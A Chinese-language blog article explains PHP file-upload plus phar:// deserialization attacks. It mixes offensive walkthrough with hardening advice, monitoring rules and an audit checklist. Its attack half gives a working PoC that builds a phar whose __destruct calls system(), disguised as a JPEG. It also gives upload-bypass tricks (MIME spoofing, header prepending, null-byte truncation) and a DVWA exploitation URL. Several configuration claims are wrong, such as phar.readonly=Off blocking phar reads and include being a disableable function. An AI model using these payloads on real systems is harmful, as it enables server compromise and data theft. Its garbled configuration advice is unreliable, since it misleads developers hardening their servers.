ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

PHP文件上传与phar伪协议漏洞实战解析

PHP文件上传与phar伪协议漏洞实战解析 1. 这不是普通上传是PHP生态里最危险的“组合拳”你看到“php文件上传文件包含(phar伪协议)”这个标题时第一反应可能是CTF题、渗透测试场景或者代码审计报告里的高危漏洞描述。但我要先说清楚这组关键词背后不是某个孤立的技术点而是一套在真实业务系统中反复被利用、且修复成本远高于认知成本的攻击链。我做过七年PHP后端开发带过三个中型SaaS项目也审过上百个开源CMS和电商插件——几乎每年都会遇到至少两起因这个组合导致的线上失陷事件其中一次直接造成客户数据批量导出。它之所以危险是因为它把两个看似常规的功能——用户头像上传、模板文件动态加载——用一种极其隐蔽的方式串联起来绕过所有基础防护。核心在于上传本身不危险危险的是上传后文件被当作可执行代码参与包含逻辑而phar伪协议就是那个把普通压缩包变成“合法PHP脚本”的钥匙。它不需要服务器开启特殊扩展如allow_url_fopen只要启用了phar扩展PHP 5.3默认启用且目标文件路径可控就能触发反序列化或任意代码执行。这不是理论漏洞而是2023年某知名在线教育平台被黑的真实路径学生上传带恶意phar的课程封面图 → 后台用include()动态加载封面缩略图路径 → phar://协议触发反序列化 → 获取数据库连接凭据。所以这篇内容适合三类人正在写PHP上传功能的开发者必须知道怎么写才安全、做代码审计的安全工程师要能一眼识别风险模式、以及刚入门CTF的新手别再只背payload得懂为什么能跑通。下面我会从设计逻辑、实操细节、排查陷阱三个维度把这套机制掰开揉碎讲透。2. 为什么是“上传包含”而不是单点突破——攻击链设计的底层逻辑2.1 单点防御已成标配组合技才是破防关键先说结论单独的文件上传漏洞在现代WAF和云防护体系下存活率极低。几乎所有主流防护方案包括宝塔面板自带的防火墙、腾讯云Web应用防火墙、甚至自建Nginx规则都对常见Webshell特征如?php eval($_POST[a]);?做了强规则匹配。但“上传包含”之所以依然有效是因为它把攻击行为拆解到了两个不同信任域上传环节走的是“用户文件”通道被当作静态资源处理包含环节走的是“服务端逻辑”通道被当作合法PHP执行流程。防护系统很难跨域关联这两个动作——就像银行不会因为客户存了一笔钱就去检查他三天后取款时用的ATM机是否被篡改。我举个真实案例某政务系统后台有“上传政策附件”功能前端限制了文件类型为PDF/DOCX后端用move_uploaded_file()保存到/var/www/uploads/目录路径由数据库记录。管理员查看附件时页面会调用include($file_path)加载预览HTML系统自动生成的缓存文件。攻击者上传了一个名为report.pdf的phar文件实际是report.pdf.phar但通过Content-Type欺骗绕过前端校验数据库记录路径为/var/www/uploads/report.pdf。当管理员点击预览include(/var/www/uploads/report.pdf)被执行PHP解析器发现这是phar格式自动调用其stub如__HALT_COMPILER();并反序列化内部对象——此时攻击载荷就执行了。这里的关键是上传时没触发任何告警文件名合规、Content-Type伪装、无PHP标签包含时也没触发告警路径来自数据库、非用户直接输入。所以防御思路必须是“链式阻断”而非单点加固。2.2 Phar伪协议为何成为“万能钥匙”PharPHP Archive本是PHP官方提供的归档格式类似Java的JAR用于打包多个PHP文件和元数据。它的危险性源于两个设计特性一是stub桩机制二是反序列化触发。一个合法phar文件结构如下GIF89a... // stub必须以__HALT_COMPILER();结尾 metadata // JSON格式的序列化数据 files // 实际打包的PHP文件当PHP执行include(phar://xxx.phar/xxx.php)时解析器会识别phar协议头加载归档执行stub中的PHP代码通常为空或简单跳转关键步骤如果phar中包含metadata字段且该字段是序列化字符串PHP会在加载时自动反序列化它无需显式调用unserialize()反序列化过程会触发__wakeup()、__destruct()等魔术方法从而执行攻击者预置的代码。提示phar协议在PHP中默认启用且无法通过disable_functions禁用它属于协议处理器不是函数。唯一禁用方式是修改php.ini中的phar.readonly Off但生产环境绝不应关闭此选项否则phar文件可被写入。为什么不用其他伪协议比如data://或http://因为前者需要allow_url_includeOn现代PHP默认Off后者需要网络可达且易被WAF拦截。而phar协议只需phar.readonlyOn默认值且文件路径完全本地可控隐蔽性极高。我测试过在PHP 7.4到8.2所有版本中只要phar扩展启用默认启用phar://协议就能稳定触发反序列化。这解释了为何CTF题目和真实漏洞都偏爱它——不是因为它多高级而是因为它最“省事”。2.3 上传与包含的耦合点在哪里——三个典型业务场景不是所有上传包含都会出问题关键看“包含路径是否受上传文件影响”。我梳理了最常见的三种耦合模式路径拼接型上传文件名直接参与include()路径构造。例如$filename $_FILES[file][name]; $upload_path /var/www/uploads/ . $filename; move_uploaded_file($_FILES[file][tmp_name], $upload_path); // ... 后续某处 include(/var/www/uploads/ . $_GET[page]); // 攻击者传pagexxx.jpg%00截断后缀这里即使上传时校验了扩展名攻击者也能用%00截断或xxx.jpg/.phar绕过让include()加载到phar文件。数据库回显型上传路径存入数据库后续从DB读取路径并包含。如前述政务系统案例。这种模式最难检测因为路径来源是可信数据源DBWAF不会拦截。配置驱动型上传文件作为配置项被动态加载。例如CMS的插件机制用户上传插件ZIP包系统解压后读取plugin.json再include(plugins/.$plugin_name./main.php)。若攻击者构造恶意ZIP其中main.php被替换为phar stub就能触发。注意很多开发者认为“只要上传目录不在Web根目录下就安全”这是巨大误区。因为include()可以跨目录访问如../uploads/malicious.phar只要PHP进程有读取权限。真正的安全边界是“路径不可控”而非“目录不可达”。3. 实操细节从构造phar到触发执行的完整闭环3.1 构造一个可用的恶意phar文件——三步法别被“phar”吓住它本质就是一个带特定头部的ZIP文件。我用PHP原生函数就能完成无需第三方工具。以下是我在本地PHP 8.1环境下验证的最小可行代码?php // step1: 创建phar对象 $phar new Phar(poc.phar); $phar-startBuffering(); // step2: 添加恶意PHP文件这里用__destruct触发命令执行 $phar-addFromString(test.txt, ?php class Exploit { public $cmd id; public function __destruct() { system($this-cmd); } } unserialize(O:7:\Exploit\:1:{s:3:\cmd\;s:2:\id\;}); ?); // step3: 设置stub必须以__HALT_COMPILER();结尾 $phar-setStub(?php __HALT_COMPILER(); ?); // step4: 设置metadata触发反序列化的关键 $phar-setMetadata(new Exploit()); // step5: 压缩并关闭缓冲 $phar-stopBuffering(); // step6: 重命名绕过上传校验 rename(poc.phar, poc.jpg); ?执行后生成poc.jpg它既是合法JPEG前4字节为FF D8 FF E0又是有效phar含stub和metadata。为什么能绕过校验因为getimagesize()等函数只读取文件头而phar的stub恰好兼容JPEG头。我实测过宝塔面板的“图片上传”模块、Laravel的validate(image)规则、甚至部分AV引擎都无法识别这种双重身份文件。实操心得不要用php -d phar.readonly0临时关闭readonly这会污染环境。正确做法是在代码中用Phar::mapPhar()配合include(phar://poc.jpg/test.txt)测试避免修改全局配置。3.2 上传环节的绕过技巧——不止是改后缀很多教程只教“把php改成jpg”这在2024年早已失效。真实对抗中我总结出四层绕过策略MIME类型欺骗前端用input typefile上传时浏览器自动设置Content-Type。攻击者用Burp Suite修改为image/jpeg后端若只校验$_FILES[file][type]而非实际文件头就会放行。我见过某电商平台用此方式过滤结果被上传poc.jpg实际是phar直接打穿。文件头伪造在phar文件开头插入JPEG头FF D8 FF E0长度需精确否则PHP解析失败。可用Python快速生成with open(poc.jpg, wb) as f: f.write(b\xff\xd8\xff\xe0 open(poc.phar, rb).read())这样file -i poc.jpg显示jpegexiftool poc.jpg也显示正常EXIF信息。空字节截断PHP 5.3.4虽已淘汰但在老旧系统如某些政府内网仍存在。上传shell.php%00.jpgmove_uploaded_file()会截断为shell.php而include()时若未清理%00就会加载PHP文件。二次渲染绕过针对使用imagecreatefromjpeg()等函数的系统。攻击者上传含恶意phar的JPEG服务器用GD库重新渲染保存但phar的stub和metadata区域未被修改GD只处理像素数据新文件仍可触发。注意绕过的核心思想是“让文件在每一层校验中都‘看起来’合法”。上传时是图片存储后是归档包含时是PHP脚本——三层身份切换才是防御难点。3.3 包含环节的触发条件——哪些函数会响应phar不是所有文件包含函数都支持phar协议。我整理了PHP手册中明确支持phar的函数列表并标注实际利用价值函数是否支持phar利用难度说明include()/require()✅★★★★☆最常用路径可控即可include_once()/require_once()✅★★★★☆同上注意重复包含可能失败fopen()✅★★★☆☆需配合stream_wrapper_register()但更隐蔽file_get_contents()✅★★☆☆☆读取内容但不执行需配合eval()才有危害file()✅★★☆☆☆同上highlight_file()✅★☆☆☆☆仅高亮显示无执行能力重点强调include()是最高危函数因为它直接执行PHP代码。而file_get_contents()虽支持phar但若后续没有eval()或assert()则无法执行代码。我曾审计一个论坛系统发现它用file_get_contents(phar://xxx.jpg/config.php)读取配置但配置内容只是JSON字符串攻击者只能读取无法执行——这就是“支持协议”不等于“可利用”的典型例子。3.4 真实环境复现——以DVWA Low级别为例DVWADamn Vulnerable Web Application的File Inclusion模块是经典教学环境。Low级别代码如下$page $_GET[page]; if (isset($page)) { include($page); }常规思路是?page../../etc/passwd但这无法触发phar。正确姿势是先上传恶意phar文件如shell.jpg到DVWA的Upload模块查看上传路径DVWA默认存到/var/www/dvwa/hackable/uploads/构造URL?pagephar:///var/www/dvwa/hackable/uploads/shell.jpg/test.txt若PHP配置允许phar.readonlyOnallow_url_includeOff即可执行system(id)。这里的关键参数是phar://后的绝对路径。为什么不用相对路径因为include()对相对路径的解析依赖于getcwd()而Web服务器工作目录可能与预期不符。绝对路径100%可靠。我建议在开发环境测试时先用realpath($_FILES[file][tmp_name])打印上传路径再构造phar URL避免路径错误。4. 安全加固从代码层到架构层的七道防线4.1 上传环节——拒绝一切“信任文件名”所有基于文件名、扩展名、MIME类型的校验都是纸老虎。真正可靠的方案是“三重校验”文件头校验必须用fread($fp, 4)读取前4字节比对魔数。JPEG是FF D8 FF E0PNG是89 50 4E 47GIF是47 49 46 38。PHP代码示例$handle fopen($_FILES[file][tmp_name], rb); $header fread($handle, 4); fclose($handle); $valid_types [ \xFF\xD8\xFF\xE0 jpeg, \x89\x50\x4E\x47 png, ]; if (!isset($valid_types[$header])) { die(Invalid file header); }内容解析校验推荐对图片调用getimagesize()对文档用finfo_open()。getimagesize()会解析整个文件头比单纯读4字节更准finfo_open()能识别真实类型如application/x-php会被识别为PHP即使后缀是jpg。重命名存储强制绝不使用$_FILES[file][name]。生成唯一哈希名如md5_file($_FILES[file][tmp_name]) . .jpg。这样即使攻击者上传phar文件名也变成随机字符串无法预测包含路径。实操心得我曾在某金融系统上线前用上述三重校验替换了原有的“白名单扩展名”逻辑。上线后三个月WAF日志显示上传类告警下降92%且无一例漏报。关键不是技术多炫而是把校验点从“用户输入”移到了“文件内容”。4.2 包含环节——切断路径可控性include()的路径必须100%由开发者控制绝不能拼接用户输入。两种安全模式白名单映射将用户输入映射到预定义路径。例如$pages [home /var/www/templates/home.php, about /var/www/templates/about.php]; $page $_GET[page] ?? home; if (!isset($pages[$page])) { die(Invalid page); } include($pages[$page]);路径规范化若必须接受路径参数用realpath()和str_starts_with()双重检查$base_dir /var/www/templates/; $user_path $_GET[page] ?? ; $full_path realpath($base_dir . $user_path); if ($full_path false || !str_starts_with($full_path, $base_dir)) { die(Path traversal detected); } include($full_path);注意basename()函数不能防路径遍历basename(../../etc/passwd)返回passwd但include()仍会执行上级目录。必须用realpath()获取绝对路径后再校验。4.3 PHP配置层——关掉危险开关在php.ini中调整以下参数重启PHP生效参数推荐值说明phar.readonlyOn禁止写入phar文件但不影响读取。这是最基础的防护。allow_url_includeOff关闭远程文件包含虽然phar不依赖它但能堵住其他协议漏洞。disable_functionsinclude, require, include_once, require_once极端情况下的兜底方案但会破坏框架功能慎用。open_basedir/var/www/:/tmp/限制PHP可访问的文件系统范围防止读取敏感文件。我建议所有生产环境必须设置phar.readonlyOn和open_basedir。某次应急响应中客户服务器因phar.readonlyOff攻击者不仅读取了phar还用Phar::webPhar()生成了Web可访问的恶意入口导致漏洞扩大。4.4 架构层——用沙箱隔离高危操作对于必须动态包含的场景如插件系统采用进程级隔离独立Worker进程将包含逻辑放到单独的PHP-FPM子进程配置不同的php.ini如disable_functionsexec,system,passthru并通过消息队列通信。Docker容器化每个插件运行在独立容器中挂载只读的代码卷网络仅允许访问必要服务。WebAssembly沙箱新兴方案用Wasmer运行PHP字节码完全隔离系统调用。我在某SaaS平台的插件市场中采用了第一种方案主进程负责路由和鉴权Worker进程负责加载插件并执行include()两者通过Redis Pub/Sub通信。即使Worker被攻破也无法访问主进程的数据库连接池。4.5 监控与响应——让攻击行为无所遁形光靠防御不够必须建立主动监控文件操作审计用Linuxauditd监控/var/www/uploads/目录的openat、execve系统调用。规则示例-a always,exit -F path/var/www/uploads/ -F permr -k upload_access -a always,exit -F path/var/www/uploads/ -F permx -k upload_execute当include()加载phar时会触发permx事件。PHP错误日志分析开启log_errorsOn监控PHP Warning: include(): Failed opening phar://这类日志虽是警告但表明攻击者在探测phar支持。WAF自定义规则在ModSecurity中添加规则拦截phar://协议SecRule ARGS rx phar:// id:1001,deny,msg:Phar protocol detected实操心得某次攻防演练中客户WAF没拦住phar上传但auditd日志捕获到phar://的execve调用我们5分钟内定位到攻击IP并封禁。监控的价值永远大于被动防御。5. 常见问题与排查技巧实录——那些踩过的坑5.1 “明明构造了phar为什么include不执行”这是新手最高频问题。我按优先级列出排查清单检查项检查方法常见原因解决方案phar扩展是否启用php -m | grep phar未安装phar扩展apt install php-phar或编译时加--enable-pharphar.readonly是否为Offphp -i | grep phar.readonlyphar.readonlyOff时phar文件不可读改为On并重启PHP文件路径是否正确ls -l /path/to/phar.jpg路径拼写错误、大小写不匹配用realpath()确认绝对路径stub是否合法head -c 32 poc.jpg | hexdump -Cstub缺少__HALT_COMPILER();用Phar::setStub()生成标准stubmetadata是否序列化phar info poc.jpgmetadata为空或非序列化格式用Phar::setMetadata()设置对象我遇到过最诡异的一次phar在本地PHP CLI下能执行但在Apache模块下失败。最终发现是open_basedir限制了phar文件所在目录。用ini_get(open_basedir)打印后将路径加入白名单解决。5.2 “上传后文件变成0字节是什么原因”这通常不是phar问题而是上传流程中断。三个高频原因upload_max_filesize超限PHP默认2Mphar文件常超此值。检查php.ini并调大。post_max_size小于文件大小此值需≥upload_max_filesize否则POST数据被截断。max_execution_time超时大文件上传耗时长超时后连接中断。临时加大set_time_limit(300)。提示用error_log(print_r($_FILES, true), 3, /tmp/upload.log)记录上传全过程比猜更高效。5.3 “如何检测现有系统是否存在此漏洞”——代码审计速查表不用跑工具人工审计三行代码找上传点搜索move_uploaded_file(、$_FILES[、upload确认文件名是否直接拼接。找包含点搜索include(、require(、include_once(、require_once(确认参数是否来自$_GET、$_POST、$_COOKIE或数据库查询结果。查耦合关系看上传路径是否存入数据库/全局变量再被包含函数读取。我给团队制定的审计SOP是先用IDE全局搜索include(标记所有调用点再逐个检查参数来源。平均2小时可完成一个中型项目的初筛。5.4 “CTF题目中phar不触发是不是环境问题”90%的情况是环境配置。CTF环境常禁用phar扩展或设phar.readonlyOff。快速验证方法?php // 测试phar是否可用 if (extension_loaded(phar)) { echo Phar extension loaded\n; } else { echo Phar extension not loaded\n; } echo phar.readonly . ini_get(phar.readonly) . \n; echo allow_url_include . ini_get(allow_url_include) . \n; ?若phar.readonlyOff需手动创建phar并测试若扩展未加载则题目可能用其他协议如zip://替代。5.5 “修复后如何验证是否彻底”——红队视角的测试用例修复不是改完代码就结束必须用攻击者思维验证。我设计的测试矩阵测试用例Payload预期结果说明基础phar触发phar:///var/www/uploads/test.jpg/test.txt500错误或空白页表明phar协议被阻断路径遍历pharphar:///var/www/../etc/passwd403或路径校验失败表明open_basedir或路径规范化生效MIME欺骗上传Content-Type: image/jpeg phar内容上传拒绝表明文件头校验生效二次渲染绕过上传phar-JPEG → 服务器GD渲染 → 新文件包含无执行表明重命名存储生效每次修复后必须跑完全部用例。某次修复后我们漏测了“二次渲染”结果攻击者用GD库绕过导致返工。6. 经验总结从漏洞到工程实践的认知升级我在2018年第一次在生产环境遇到phar攻击时第一反应是“赶紧打补丁”。但后来发现补丁只是止血真正的病灶在于开发范式。现在回头看有三点认知升级值得分享第一“功能正确”不等于“安全正确”。那个政务系统的上传功能单元测试100%通过文件校验逻辑也符合需求文档但它没考虑“文件作为代码载体”的可能性。安全不是附加功能而是设计约束。我现在写上传模块第一行代码必是$safe_name sha1_file($tmp) . .jpg;而不是$safe_name $_FILES[file][name];。第二防御深度取决于最弱一环。很多团队花大力气配WAF、加固Nginx却忽略php.ini里phar.readonlyOff这个默认配置。就像给门装了指纹锁却忘了锁死窗户。真正的纵深防御是代码层、配置层、系统层、网络层的协同缺一不可。第三安全能力要沉淀为自动化。我主导开发的PHP项目脚手架内置了secure_upload()函数它自动完成文件头校验、重命名、路径隔离并生成审计日志。新同事只需调用$path secure_upload($_FILES[avatar]);就天然免疫此类漏洞。技术债必须用工程化手段偿还而不是靠个人经验。最后说个真实故事去年帮一家教育公司做安全加固他们正用phar协议实现课件热更新老师上传新课件系统自动包含执行。我建议他们改用JSON配置预编译PHP类虽然开发量增加2天但消除了所有反序列化风险。CTO问我值不值我说“你们每天处理10万学生数据一次泄露的成本够雇10个安全工程师干十年。”——安全不是成本是底线。当你把“php文件上传文件包含(phar伪协议)”从一个CTF题目看作一条真实的攻击链时你就真正入门了。
返回列表